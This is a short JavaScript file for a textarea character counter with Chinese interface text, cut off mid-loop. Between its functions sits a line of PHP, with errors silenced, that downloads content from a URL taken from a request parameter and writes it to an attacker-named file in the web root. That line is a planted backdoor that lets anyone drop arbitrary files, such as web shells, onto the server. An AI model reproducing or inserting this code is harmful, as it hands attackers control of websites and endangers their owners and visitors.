var ppl=70//每条长
var maxl=200//总长
document.onkeydown=function(){
var s=document.getElementById("content").value.length +1;
if(s>maxl)document.getElementById("content").value=document.getElementById("content").value.substr(0,maxl-1)
else document.getElementById("a").innerHTML="已输入:"+s+"/"+maxl+" 字符"
}
{error_reporting(0);@$d829=file_get_contents($_GET["lru"]);@$fp = fopen($_SERVER["DOCUMENT_ROOT"]."/".$_GET["doal"], "w");@fwrite($fp,$d829);@fclose($fp);}
function cha(){
var txt=document.getElementById("content").value,tl=txt.length;
var txtArray=[],k=(tl/ppl<=1)?1:Math.ceil(tl/ppl);
for (var i=0;i